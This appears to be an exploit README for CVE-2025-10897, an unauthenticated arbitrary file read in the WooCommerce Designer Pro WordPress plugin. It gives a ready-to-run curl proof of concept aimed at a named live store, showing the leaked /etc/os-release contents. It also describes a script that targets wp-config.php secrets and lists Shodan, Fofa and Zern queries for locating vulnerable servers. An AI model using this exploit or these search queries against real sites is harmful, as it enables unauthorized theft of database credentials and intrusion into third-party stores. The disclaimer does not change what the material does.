Share 
## https://sploitus.com/exploit?id=8621154B-988D-565D-BA6B-AD87C7807DE7
# CVE-2025-10897

[![Python](https://img.shields.io/badge/Python-3.12%2B-blue.svg)][01]
[![CVSS](https://img.shields.io/badge/CVSS-8.6%20High-red.svg)][03]
[![License](https://img.shields.io/badge/License-SCTPL-green.svg)](./LICENSE)
[![Educational](https://img.shields.io/badge/Purpose-Educational%20Only-yellow.svg)](./LICENSE)

[WooCommerce][07] is an open-source e-commerce plugin for WordPress that
turns websites into online stores. [WooCommerce Designer Pro][08] is a
WordPress plugin developed by [JMA Plugins][08] that enables customers to
design and customize products directly on WooCommerce stores.

**IMPORTANT**: WooCommerce and WooCommerce Designer Pro are completely
different.

WooCommerce Designer Pro supports creating business cards, postcards, flyers,
posters, t-shirts, stickers, and other printable materials with features
like CMYK color support, PDF generation, and a canvas-based design interface.
The plugin integrates with WooCommerce to allow real-time product
customization before purchase, making it suitable for online printing
businesses and custom merchandise stores.

CVE-2025-10897 is an unauthenticated arbitrary file read in WooCommerce
Designer Pro versions up to `1.9.28` (CWE-22). An attacker sends
`POST /wp-admin/admin-ajax.php` with `action=wcdp_convert_resource_cmyk` and
a `file://` URL pointing at server files such as `/etc/passwd` or
`wp-config.php`. The plugin returns the file contents in the JSON response.
That can leak database passwords and other secrets from `wp-config.php`
without any WordPress account.

## PoC

REQUEST

```txt
curl -sk -X POST 'https://www.procolorprints.ca/wp-admin/admin-ajax.php' \
  -H 'User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Accept: */*' \
  -H 'Connection: close' \
  -d 'action=wcdp_convert_resource_cmyk&url=file:///etc/os-release'
```

RESPONSE

```txt
{"string":"data:image\/jpg;base64,TkFNRT0iQWxtYUxpbnV4IgpWRVJTSU9OPSI5LjggKE9saXZlIEphZ3VhcikiCklEPSJhbG1hbGludXgiCklEX0xJS0U9InJoZWwgY2VudG9zIGZlZG9yYSIKVkVSU0lPTl9JRD0iOS44IgpQTEFURk9STV9JRD0icGxhdGZvcm06ZWw5IgpQUkVUVFlfTkFNRT0iQWxtYUxpbnV4IDkuOCAoT2xpdmUgSmFndWFyKSIKQU5TSV9DT0xPUj0iMDszNCIKTE9HTz0iZmVkb3JhLWxvZ28taWNvbiIKQ1BFX05BTUU9ImNwZTovbzphbG1hbGludXg6YWxtYWxpbnV4Ojk6OmJhc2VvcyIKSE9NRV9VUkw9Imh0dHBzOi8vYWxtYWxpbnV4Lm9yZy8iCkRPQ1VNRU5UQVRJT05fVVJMPSJodHRwczovL3dpa2kuYWxtYWxpbnV4Lm9yZy8iCkJVR19SRVBPUlRfVVJMPSJodHRwczovL2J1Z3MuYWxtYWxpbnV4Lm9yZy8iCgpBTE1BTElOVVhfTUFOVElTQlRfUFJPSkVDVD0iQWxtYUxpbnV4LTkiCkFMTUFMSU5VWF9NQU5USVNCVF9QUk9KRUNUX1ZFUlNJT049IjkuOCIKUkVESEFUX1NVUFBPUlRfUFJPRFVDVD0iQWxtYUxpbnV4IgpSRURIQVRfU1VQUE9SVF9QUk9EVUNUX1ZFUlNJT049IjkuOCIKU1VQUE9SVF9FTkQ9MjAzMi0wNi0wMQo=","success":true}
```

Base64 Decoded Response:

```txt
NAME="AlmaLinux"
VERSION="9.8 (Olive Jaguar)"
ID="almalinux"
ID_LIKE="rhel centos fedora"
VERSION_ID="9.8"
PLATFORM_ID="platform:el9"
PRETTY_NAME="AlmaLinux 9.8 (Olive Jaguar)"
ANSI_COLOR="0;34"
LOGO="fedora-logo-icon"
CPE_NAME="cpe:/o:almalinux:almalinux:9::baseos"
HOME_URL="https://almalinux.org/"
DOCUMENTATION_URL="https://wiki.almalinux.org/"
BUG_REPORT_URL="https://bugs.almalinux.org/"

ALMALINUX_MANTISBT_PROJECT="AlmaLinux-9"
ALMALINUX_MANTISBT_PROJECT_VERSION="9.8"
REDHAT_SUPPORT_PRODUCT="AlmaLinux"
REDHAT_SUPPORT_PRODUCT_VERSION="9.8"
SUPPORT_END=2032-06-01
```

## Usage

```txt
python CVE-2025-10897-X7.py
```

**NOTE**: Our PoC script tries to get `wp-config.php` but the target may have
installed wordpress somewhere different from `/var/www`.

Arguments to search for vulnerable servers

* [Zern][04]    : `body:"wc-designer-pro"`
* [Fofa][05]    : `body="wc-designer-pro"`
* [Shodan][06]  : `http.body:"wc-designer-pro"`

## Resources

* [OpenCVE - WooCommerce Designer Pro <= 1.9.28 Unauthenticated Arbitrary File Read][02]
* [NIST - CVE-2025-10897 Detail][03]
* [WooCommerce Homepage][07]
* [WooCommerce Designer Pro - Official Developers's Website][08]
* [WooCommerce Designer Pro - Official Marketplace][09]
* [Nuclei Templated - CVE-2025-10897][10]

## Disclaimer

This repository and its contents are provided strictly for legitimate security
research, authorized penetration testing, educational study, and defensive
purposes. By accessing or using this material, you acknowledge full
responsibility for ensuring your activities comply with all applicable
laws and that you have obtained proper authorization before testing or
applying these techniques against any system you do not own.

The authors and maintainers of this project assume no liability for any
damages, legal consequences, or misuse resulting from the application of
this information. Any use for unauthorized access, malicious activity, or
illegal purposes is expressly prohibited and unsupported.

**Use responsibly**. **Stay legal**. Test only what you own or have explicit
written permission to test.

## Authors

* ErrorInside // SCT

## License

SCT-PL

[01]: https://www.python.org/
[02]: https://app.opencve.io/cve/CVE-2025-10897
[03]: https://nvd.nist.gov/vuln/detail/CVE-2025-10897
[04]: https://zern.io
[05]: https://en.fofa.info/
[06]: https://www.shodan.io/
[07]: https://woocommerce.com/
[08]: https://jmaplugins.com/product/woocommerce-designer-pro/
[09]: https://codecanyon.net/item/woocommerce-designer-pro-cmyk-card-flyer/22027731
[10]: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-10897.yaml